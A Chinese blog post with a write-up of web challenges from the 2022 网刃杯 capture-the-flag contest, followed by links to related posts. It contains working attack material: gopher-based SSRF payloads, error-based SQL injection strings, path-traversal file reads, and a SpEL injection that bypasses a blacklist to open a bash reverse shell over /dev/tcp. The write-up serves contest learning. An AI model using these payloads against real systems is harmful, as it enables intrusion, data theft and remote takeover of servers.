第二届网刃杯web

2022第二届网刃杯网络安全大赛-Web 2022第二届网刃杯网络安全大赛-Web 前言 提示:该内容由夜刃TEOT战队-师傅原创,禁止抄袭! 一、Web2-upload 难度系数:4.0 题目描述:只有想不到,没有做不到,sql yyds。题目链接见附件,每个链接均可访问,环境5分钟重启一次。 文件上传,随便上传一个马 使用Burp抓包 根据提示,更改类型 上传文件 查询到filename上传点,报错注入,获取FLAG flag{5937a0b90b5966939cccd369291c68aa} 二 阅读详情

ssrf_signin

image-20220427212427171

打开一看,是一个很典型的ssrf的题,先用file协议看看能不能直接读到flag,不能的话再扫内网

image-20220427212417826

发现读不到,那就考虑扫一下内网看一下有没有其它存活的主机

image-20220427212519427

首先读取/etc/hosts文件拿到内网ip:172.73.23.21,然后可以直接用http协议进行爆破

image-20220427212957422

扫到一个,内网ip为172.73.23.100的服务,提示叫我穿一个get形式的参数a,这时候我们可以直接再后面拼接参数a,比如下面这样

image-20220427213215370

然后又叫我们传一个post参数,那就必须要使用gopher协议了,直接上脚本

import urllib.parse

payload = """POST /?a=1 HTTP/1.1
Host: 172.73.23.100
Content-Type: application/x-www-form-urlencoded
Content-Length: 3

b=1
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A', '%0D%0A')
result = 'gopher://172.73.23.100:80/' + '_' + new
result = urllib.parse.quote(result)
print(result)  # 因为是GET请求所以要进行两次url编码

image-20220427213716592

继续构造xff头

POST /?a=1 HTTP/1.1
Host: 172.73.23.100
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
X-Forwarded-For: 127.0.0.1

b=1

image-20220427213824599

继续构造refer头

POST /?a=1 HTTP/1.1
Host: 172.73.23.100
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
X-Forwarded-For: 127.0.0.1
Referer: bolean.club

b=1

image-20220427213920424

拿到flag: flag{Have_A_GoOd_T1m3!!!!!!}

upload

提示说sqlyyds,说明可能跟SQL注入有关

image-20220427214524657

说type必须是type,那就抓包修改一下type

image-20220427214622904

发现能直接上传php文件

image-20220427214657822

他说不解析php文件,然后就试着找一下是否存在注入点

image-20220427214838923

我在文件名这里加了一个单引号,结果爆出了一个sql错误,那应该就是了

insert into upload_file values('5da2dfa1bb0e764ca4ebdd7028450f61.php'union select 1,2,3,4%23')

这里能看到整个sql语句,没有回显,可以尝试使用报错注入,这里可以使用or '进行闭合

image-20220427215456642

拿到数据库名upload,下面就是很常规的sql注入流程了

爆数据库
a' or extractvalue(1,concat('~',database(),'~')) or '

爆表
a' or extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='upload'),'~')) or '

image-20220427215908990

这里发现.会被当做文件拓展名的分隔符,所以就不能直接使用.了,那就只能猜测flag所在的表和列,一般来说应该不会很复杂

image-20220427220953299

结果就是很简单的flag.flag

Payload:
前半段
a' or extractvalue(1,concat('~',(select group_concat(flag) from flag),'~')) or '
flag{5937a0b90b5966939cccd36929
后半段
a' or extractvalue(1,concat('~',mid((select group_concat(flag) from flag),28,28),'~')) or '
69291c68aa}
flag:
flag{5937a0b90b5966939cccd369291c68aa}

ez_java

image-20220427221955296

打开发现有个下载文件的功能,/download?filename=

image-20220427222113316

一直往上层读文件,直到第三层的时候拿到一个html文件,这个估计就是java的web.xml目录了

image-20220427222313839

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <servlet>
        <servlet-name>DownloadServlet</servlet-name>
        <servlet-class>com.abc.servlet.DownloadServlet</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>DownloadServlet</servlet-name>
        <url-pattern>/download</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>TestServlet</servlet-name>
        <servlet-class>com.abc.servlet.TestServlet</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>TestServlet</servlet-name>
        <url-pattern>/test388</url-pattern>
    </servlet-mapping>

</web-app>
124.222.173.163:8024/download?filename=../../../classes/com/abc/servlet/TestServlet.class
    /test388
124.222.173.163:8024/download?filename=../../../classes/com/abc/servlet/DownloadServlet.class
    /download

然后拿到IDE上面反编译一下,得到源码

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
// DownloadServlet.class
//

package com.abc.servlet;

import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.net.URLEncoder;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class DownloadServlet extends HttpServlet {
    public DownloadServlet() {
    }

    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doPost(req, resp);
    }

    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        try {
            String fileName = request.getParameter("filename");
            fileName = new String(fileName.getBytes("ISO8859-1"), "UTF-8");
            System.out.println("filename=" + fileName);
            if (fileName != null && fileName.toLowerCase().contains("flag")) {
                request.setAttribute("message", "read error");
                request.getRequestDispatcher("/message.jsp").forward(request, response);
                return;
            }

            int count = this.countSubFromString(fileName, "../");
            if (count > 0 && count != 3) {
                request.setAttribute("message", "invalid filename");
                request.getRequestDispatcher("/message.jsp").forward(request, response);
                return;
            }

            String fileSaveRootPath = this.getServletContext().getRealPath("/WEB-INF/upload");
            String path = this.findFileSavePathByFileName(fileName, fileSaveRootPath);
            File file = new File(path + "/" + fileName);
            if (!file.exists()) {
                request.setAttribute("message", "file is not exist");
                request.getRequestDispatcher("/message.jsp").forward(request, response);
                return;
            }

            String realname = fileName.substring(fileName.indexOf("_") + 1);
            response.setHeader("content-disposition", "attachment;filename=" + URLEncoder.encode(realname, "UTF-8"));
            FileInputStream in = new FileInputStream(path + "/" + fileName);
            ServletOutputStream out = response.getOutputStream();
            byte[] buffer = new byte[1024];
            boolean var12 = false;

            int len;
            while((len = in.read(buffer)) > 0) {
                out.write(buffer, 0, len);
            }

            in.close();
            out.close();
        } catch (Exception var13) {
            request.setAttribute("message", "error");
            request.getRequestDispatcher("/message.jsp").forward(request, response);
        }

    }

    private String findFileSavePathByFileName(String filename, String saveRootPath) {
        int hashCode = filename.hashCode();
        int dir1 = hashCode & 15;
        int dir2 = (hashCode & 240) >> 4;
        String dir = saveRootPath + "/" + dir1 + "/" + dir2;
        File file = new File(dir);
        if (!file.exists()) {
            file.mkdirs();
        }

        return dir;
    }

    private int countSubFromString(String src, String sub) {
        int count = 0;

        for(int pos = 0; src.indexOf(sub, pos) >= 0 && pos < src.length(); pos = src.indexOf(sub, pos) + sub.length()) {
            ++count;
        }

        return count;
    }
}

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
// TestServlet.class
//

package com.abc.servlet;

import java.io.IOException;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.expression.Expression;
import org.springframework.expression.ParserContext;
import org.springframework.expression.common.TemplateParserContext;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;

public class TestServlet extends HttpServlet {
    public TestServlet() {
    }

    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doPost(req, resp);
    }

    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        try {
            String name = request.getParameter("name");
            name = new String(name.getBytes("ISO8859-1"), "UTF-8");
            if (this.blackMatch(name)) {
                request.setAttribute("message", "name is invalid");
                request.getRequestDispatcher("/message.jsp").forward(request, response);
                return;
            }

            System.out.println(name);
            String message = this.getAdvanceValue(name);
            request.setAttribute("message", message);
            request.getRequestDispatcher("/message.jsp").forward(request, response);
        } catch (Exception var5) {
            request.setAttribute("message", "error");
            request.getRequestDispatcher("/message.jsp").forward(request, response);
        }

    }

    private boolean blackMatch(String val) {
        String[] var2 = this.getBlacklist();
        int var3 = var2.length;

        for(int var4 = 0; var4 < var3; ++var4) {
            String keyword = var2[var4];
            Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
            if (matcher.find()) {
                return true;
            }
        }

        return false;
    }

    private String getAdvanceValue(String val) {
        ParserContext parserContext = new TemplateParserContext();
        SpelExpressionParser parser = new SpelExpressionParser();
        Expression exp = parser.parseExpression(val, parserContext);
        StandardEvaluationContext evaluationContext = new StandardEvaluationContext();
        return exp.getValue(evaluationContext).toString();
    }

    private String[] getBlacklist() {
        return new String[]{"java.+lang", "Runtime", "exec.*\\("};
    }
}

image-20220428100312040

发现这里有个的spel注入点,且加了一个黑名单过滤

private String[] getBlacklist() {
        return new String[]{"java.+lang", "Runtime", "exec.*\\("};
    }

image-20220429131312071

接着把它移植到本地环境来试一下payload

import org.springframework.expression.Expression;
import org.springframework.expression.ParserContext;
import org.springframework.expression.common.TemplateParserContext;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;

import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class demo {
    public static void main(String[] args) {
        String name = "Runtime";
        if (blackMatch(name)) {
            System.out.println("done");
            return;
        }
        System.out.println(name);
        System.out.println(getAdvanceValue(name));
    }


    public static boolean blackMatch(String val) {
        String[] var2 = getBlacklist();
        int var3 = var2.length;

        for(int var4 = 0; var4 < var3; ++var4) {
            String keyword = var2[var4];
            Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
            if (matcher.find()) {
                return true;
            }
        }

        return false;
    }
    public static String[] getBlacklist() {
        return new String[]{"java.+lang", "Runtime", "exec.*\\("};
    }
    public static String getAdvanceValue(String val) {
        ParserContext parserContext = new TemplateParserContext();
        SpelExpressionParser parser = new SpelExpressionParser();
        Expression exp = parser.parseExpression(val, parserContext);
        StandardEvaluationContext evaluationContext = new StandardEvaluationContext();
        return exp.getValue(evaluationContext).toString();
    }
}

image-20220429142305568

image-20220429151810967

成功弹到计算机,然后把黑名单加上,改一下payload如下

#{T(String).getClass().forName("java.la"+"ng.Run"+"time").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.la"+"ng.Run"+"time").getMethod("getR"+"untime").invoke(T(String).getClass().forName("java.la"+"ng.Run"+"time")),new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/xxxxxx/2333 0>&1"})}

image-20220429154726216

image-20220429154651537

ez_js

第二届全国强网杯Web 题three hit学习心得(伪write up) 前言:本人CTF-WEB入门,有参赛,赛后参考了很多write up想解出此题,无奈理解能力有限,看不懂很多大佬的思路,最后看 酷辣虫上的一篇大佬write up才弄明白。 现将学习心得总结如下,说得较为仔细,也因为本文主要是面向与我类似的萌新。 参考文章及致谢: 强网杯2018 部分web wp - 优快云博客 强网杯-writeup | Pupiles blog 第二届强网杯Web ... 阅读详情

相关推荐

“强网杯”介绍及部分题目

可以构造数据如 param1=240610708,param2=qnkcdzo,因为 md5 后的值在比较时 0e 开头会被当作科学计数法的 0,从而绕过;streamgame 系列题:给出算法和 key,flag 长度固定,通过对 flag 的遍历,将其带入加密算法与 key 的每一位进行比较,如果匹配则该字符是 flag 的一部分,根据不同的题目修改 flag 的长度进行遍历爆破。需要注意的是,以上只是非常有限的部分题目信息,强网杯的题目每年都有不同的主题和难度,涉及到多个领域的网络安全知识和技能。

huanghm88的专栏 1542

Java pwn_2020网鼎杯部分WEB&&PWN题解

今年网鼎杯不说啥了,没打进前130,我是菜B比不过各位师傅本文包括四场网鼎的部分WEB和PWN,本着菜鸡应该多练习的原则四场都看了看,除第一场外均为复现。青龙组PWN-boom1[*] '/home/Railgun/Desktop/2020wdb/pwn1'Arch: amd64-64-littleRELRO: Full RELROStack: Canary foundNX: ...

weixin_29956903的博客 1233

Python广度优先搜索BFS - 蓝桥13届省赛污染海域

请问这片N * M海域中有几块是没被污染的独立海域(没被污染的独立海域是指该块海域上下左右被已污染的海域包围,且N * M以外的海域都为已被污染的海域)有一片海域划分为N * M个方格,其中有些海域已被污染(用0表示),有些海域没被污染(用1表示)。第二行开始输入N行,每行M个数字(数字只能为1或者0,1表示没被污染的海域,0表示已被污染的海域)这块4 * 5的海域,有3块海域(绿色)没被污染,因为每一块的上下左右都被污染的海域包围。输出一个整数,表示N * M的海域中有几块是没被污染的独立海域。

m0_69865359的博客 271

第二届网刃杯web题复现

1.upload 是很熟悉的upload题,按照惯例上传个木马看看 显然是对文件content-type的检验,用Bp抓包改包 回显文件存储路径,访问一下 发现并不解析php。看到题目说和sql注入有关,那么就浅浅找一下注入点 常规报错注入() 2.sign_in 知道是ssrf漏洞但是当时打的时候只想到传参/flag.txt,硬是找不到目录 看了wp才知道是ssrf+gopher协议 涨知识啦 1)goph.........

nareku的博客 295

MATLAB不能识别已安装的visual studio 2015解决方法

首先,对于MATLAB识别已经安装的vs版本通过命令: mex -setup 下图为本电脑下同时安装的两个visual studio 如果搞清楚MATLAB识别电脑上安装vs的过程,可通过命令: mex -setup -v MATLAB输出识别编译器的整个过程。其中HKLM和HKCU分别是注册表中的HKEY_CURRENT_USER,HKEY_LOCAL_MA…的缩写,MATLAB没有找到对应编译器是由于注册表里没有对应信息(主要是文件路径,C++编译器的路径),或者在注册表里存在该信息,但是找不到

qq_36320710的博客 4899

通信算法之283:大疆DJI云哨系统-DJI DroneID物理层协议-解速率匹配及Turbo译码

3. 完整云哨接收机,接收灵敏度。交流: 1279682290 ,2. Turbo译码模块。1. 解速率匹配模块。

leegang12的专栏 868

网刃杯 第二届 2022 web

Sign_in File协议读取/etc/hosts得到内网ip http://探测内网主机 按照提示传参,添加http头即可,用gopher发送post数据 http://124.220.9.19:8091/?url=gopher://172.73.23.100:80/%5f%50%4f%53%54%25%32%30%2f%25%33%46%61%25%33%44%31%25%32%30%48%54%54%50%2f%31%2e%31%25%30%44%25%30%41%48%6f%73%74%

weixin_43610673的博客 703

python中有趣的库 freegames 的详细使用

freegames 是一个包含多个简单 Python 游戏的开源库,适合初学者学习 Python 编程和游戏开发。以下是 freegames 的详细介绍和用法示例。

数据知道的博客 3万+

第二届“网刃杯”WriteUp

第二届“网刃杯”网络安全大赛--下面是我们(菜鸟一号战队)的一些解题思路不是很完美,希望对大家有用! WEB2-UPLOAD 这里上传一个后缀名以.php文件,使用Burp抓包 根据提示更改上传类型-Content-Type:ctf 点击发送上传文件 查询到注入点,报错注入,这里有截断,要拼接一下;获取FLAG Flag:{5937a0b90b5966939cccd369291c68aa} ICS4-Carefulguy 通过数据包分析,查询TCP流,发现...

qq_45884775的博客 1174

【Codex】Codex安装+DeepSeek API接入;无需登录,手把手带你使用codex

好多人使用codex时都卡在验证码登录那一步,今天就来介绍一种方法,不需要登录ChatGPT的账号,自然也就不需要手机验证码了;接入DeepSeek的api,一样可以丝滑使用codex;记录从零开始安装使用codex以及DeepSeek API接入的整个过程。不需要登录openAI;

AnChenliang_1002的博客 3543

基于Matlab的无迹卡尔曼滤波惯性导航与DVL组合导航

航天航空领域中的惯性导航是一种基于惯性测量单元(Inertial Measurement Unit,IMU)的导航方法,可以提供航向、速度和位置等信息。深度/速度测量器(Doppler Velocity Log,DVL)是一种常用的传感器,可用于测量水下航行器的速度。通过将DVL与无迹卡尔曼滤波相结合,可以实现高精度的组合导航。本文介绍了基于Matlab的无迹卡尔曼滤波(UKF)惯性导航与DVL组合导航的方法。以上是一种简化的示例代码,您可以根据实际应用需求进行相应的修改和优化。

DevSavantX的博客 421

第二届网刃杯网络安全大赛 Writeup

第二届网刃杯网络安全大赛 Writeup前言MISC玩坏的XP *ISCncsubjcarefulguyeasyiecxypo7喜欢移动的黑客*LED_BOOM*需要安全感*cryptolalia*WEBSign_inREfreestyeez_algorithmRe_function 前言 看了去年的这个比赛,感觉难度比较适中,于是尝试今年去参加一下。成绩也不是很好感觉打CTF还是需要一定的经验,节奏和时间没安排好,导致上午出了五个题后下午就再没出题,有点小遗憾。取证题也没出…还是得多看看套神博客。 MIS

qq_49422880的博客 3964

SAP RAP 里的 EML 全解:从语言定位到事务语义,再到真实案例的落地方式

摘要:EML(Entity Manipulation Language)是ABAP RAP模型的核心组件,作为ABAP的子集用于操作业务对象(BO)。它通过声明式语法(READ/MODIFY/EXECUTE/COMMIT)统一访问BO的行为与数据,并由RAP运行时自动处理校验、锁定、草稿管理等生命周期。EML将业务语义融入代码,确保与Fiori应用共享同一套校验逻辑,并通过FAILED/REPORTED/MAPPED管道传递错误与消息。其事务控制(IN LOCAL MODE与COMMIT ENTITIES)

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 528

第二届“网刃杯”网络安全大赛 部分writeup

第二届“网刃杯”网络安全大赛 部分writeup ICS easyiec web sign_in upload ez_java Misc 玩坏的winxp File协议读hosts,得到IP扫描内网,发现172.73.24.100有一台主机

ShenZ的博客 1040

[Dify实战] 用 Dify 打造高效的新员工 7 天成长计划-带绑定资源

本文介绍了如何利用Dify平台为新员工制定智能成长计划,解决融入难、节奏乱、成长慢等问题。方案通过输入岗位信息自动生成7天结构化计划,包含每日任务和评估要点,并支持进度跟踪与报告输出。关键点在于设计清晰的Prompt模板,合理分配学习节奏,形成闭环反馈机制。该方案能显著提升新员工培养效率,实现人才培养的数字化升级。

技术小甜甜:传播可落地技术,帮助个人和企业降低解决真实场景问题的成本 570

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

第二届帕鲁杯【parloo杯】Web WriteUp

好久没打ctf了,帕鲁杯第二届来了,应急响应环境需要70G,燃尽了,应急响应不打了,所以来看看Web题目。

giaogiaohuohua的博客 3062

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

第二届网刃杯部分wp

Sign_in 题目描述:炒鸡简单的签到题,玩的开心~~~~ 题目链接见附件,每个链接均可访问,环境5分钟重启一次。 file协议访问/etc/hosts,发现内网ip 扫描c段,发现127.73.23.100存活,需要GET传参一个a http://124.222.24.150:8091/?url=172.73.23.100 传a提示需要POST传b,这里的b,是指在172.73.23.100中传b,而当前host是:124.222.24.150,所以这里用到了gopher协议的POST传参 构造

Sentiment的博客 2675

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

第二届赣网杯WEB第一题WP

第二届赣网杯WEB第一题WP

冰封 战戟 2076

第二届帕鲁杯 CTF 部分WP

本文展示了多个网络安全挑战的解题过程,涵盖了Web安全、密码学和杂项等多个领域。

SwBack的博客 2075

第二届网刃杯CTF-wp

第二届网刃杯CTF-wpWebez_javaezjsSign_inuploadReez_algorithm定时启动Re_functionfreestyleMisceasyiecTip Web ez_java package me.su; import org.springframework.expression.common.TemplateParserContext; import org.springframework.expression.spel.standard.SpelExpressionPar

qq_45603443的博客 1052

第二届网刃杯部分复现

萌新去年打了一回,没想到今年这么多报名的 //菜菜,感觉某些题目就是为了出题而出的 signin SSRF一般是先想办法得到目标主机的网络配置信息,如读取/etc/hosts、/proc/net/arp、/proc/net/fib_trie(存放网络适配器地址),从而获得目标主机的内网网段并进行爆破,后面两个所需要的权限高一点。 ARP记录得到WEB地址 http://124.222.24.150:8091/?url=file:///etc/hosts 得到内网ip 172.73.23.100 <?

XINO 2110

第二届“启航杯“网络安全挑战赛开始啦!

第二届"启航杯"网络安全挑战赛开始啦!

Lethehong 1万+

【2020年第二届“网鼎杯”网络安全大赛 青龙组】Web AreUSerialz

2020年第二届“网鼎杯”网络安全大赛 青龙组】Web AreUSerialz http://94b1c2d4231f4b4bb92162d5e89dec8f5817750c48224380.cloudgame2.ichunqiu.com/ 进入网址 直接在URL后面输入: ?str=O:11:“FileHandler”:3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";s:62:“php://filter/convert.base64-encode/resour

艺博东的博客 1万+

i-春秋-2017第二届广东省强网杯线上赛who are you?

2017第二届广东省强网杯线上赛who are you? WEB赛题 拿到之后提示说没有权限 于是用火狐看cookie ,写的 role:Zjo1OiJ0aHJmZyI7 将Zjo1OiJ0aHJmZyI7解密base64 f:5:"thrfg" 扔到凯撒密码里看到 f:5:"thrfg 根据大佬说是rot13, 解码得到s:5:“guest”* 之后将guest换成admin,在s:5:“adm...

Fisher 498

【第二届帕鲁杯】第二届帕鲁杯 主环境 应急响应 基本完整wp

题目描述跳板机疑似被遗留后门,请排查1、找到可疑进程完整路径2、找到被横向的服务器IP3、连接被横向服务器flag格式为 flag{base64{完整路径}|服务器IP|服务器中flag文本}连接服务器.ss看到恶意IP. 根据进程找到绝对路径查看进程连接,获取flag。

SwBack的博客 3176
上一篇: [DASCTF2022]三月月赛WriteUp Web部分全复现
下一篇: NepCTF2022 WP
Pysnow
博客等级 码龄5年 44粉丝 25原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Pysnow

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值